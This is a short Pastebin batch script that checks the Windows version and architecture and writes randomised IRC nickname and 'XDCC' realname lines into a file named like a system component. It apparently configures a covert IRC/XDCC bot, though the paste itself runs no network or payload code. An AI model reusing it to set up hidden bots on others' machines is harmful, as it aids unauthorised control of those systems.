Guest User

Untitled

a guest
Aug 25th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. rem @echo off
  2.  
  3. ver | find "2003" > nul
  4. if %ERRORLEVEL% == 0 goto ver_2003
  5.  
  6. ver | find "XP" > nul
  7. if %ERRORLEVEL% == 0 goto ver_xp
  8.  
  9. ver | find "2000" > nul
  10. if %ERRORLEVEL% == 0 goto ver_2000
  11.  
  12. ver | find "NT" > nul
  13. if %ERRORLEVEL% == 0 goto ver_nt
  14.  
  15. if not exist %SystemRoot%\system32\systeminfo.exe goto notapplic
  16.  
  17. systeminfo | find "OS Name" > %TEMP%\osname.txt
  18. FOR /F "usebackq delims=: tokens=2" %%i IN (%TEMP%\osname.txt) DO set vers=%%i
  19.  
  20. echo %vers% | find "Windows 7" > nul
  21. if %ERRORLEVEL% == 0 goto ver_7
  22.  
  23. echo %vers% | find "Windows Server 2008" > nul
  24. if %ERRORLEVEL% == 0 goto ver_2008
  25.  
  26. echo %vers% | find "Windows Vista" > nul
  27. if %ERRORLEVEL% == 0 goto ver_vista
  28.  
  29. goto notapplic
  30.  
  31. :ver_7
  32. :Run Windows 7 specific commands here.
  33. ECHO user_nick MaX-[W7]-%random% >> bfsvc.ini
  34. goto arch
  35.  
  36. :ver_2008
  37. :Run Windows Server 2008 specific commands here.
  38. ECHO user_nick MaX-[S8]-%random% >> bfsvc.ini
  39. goto arch
  40.  
  41. :ver_vista
  42. :Run Windows Vista specific commands here.
  43. ECHO user_nick MaX-[VS]-%random% >> bfsvc.ini
  44. goto arch
  45.  
  46. :ver_2003
  47. :Run Windows Server 2003 specific commands here.
  48. ECHO user_nick MaX-[S3]-%random% >> bfsvc.ini
  49. goto arch
  50.  
  51. :ver_xp
  52. :Run Windows XP specific commands here.
  53. ECHO user_nick MaX-[XP]-%random% >> bfsvc.ini
  54. goto arch
  55.  
  56. :ver_2000
  57. :Run Windows 2000 specific commands here.
  58. ECHO user_nick MaX-[2K]-%random% >> bfsvc.ini
  59. goto arch
  60.  
  61. :ver_nt
  62. :Run Windows NT specific commands here.
  63. ECHO user_nick MaX-[NT]-%random% >> bfsvc.ini
  64. goto arch
  65.  
  66. :notapplic
  67. ECHO user_nick MaX-[NA]-%random% >> bfsvc.ini
  68. goto arch
  69. rem :exit
  70.  
  71.  
  72. rem @ECHO off
  73. :arch
  74. SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
  75.  
  76. FOR /f "tokens=1,2* delims=." %%a IN ('ver') DO (
  77.  
  78. SET WVer=%%a
  79. SET WVer=!WVer:~-1!
  80. SET WVer=!WVer!.%%b.%%c
  81. SET WVer=!WVer:]=!
  82. )
  83.  
  84. IF DEFINED ProgramFiles(x86) (
  85. SET OSBit=x64
  86. ) ELSE (
  87. SET OSBit=x86
  88. )
  89.  
  90. ECHO user_realname [XDCC]-%WVer%-%OSBit% >> bfsvc.ini
  91.  
  92. :exit
Add Comment
Please, Sign In to add comment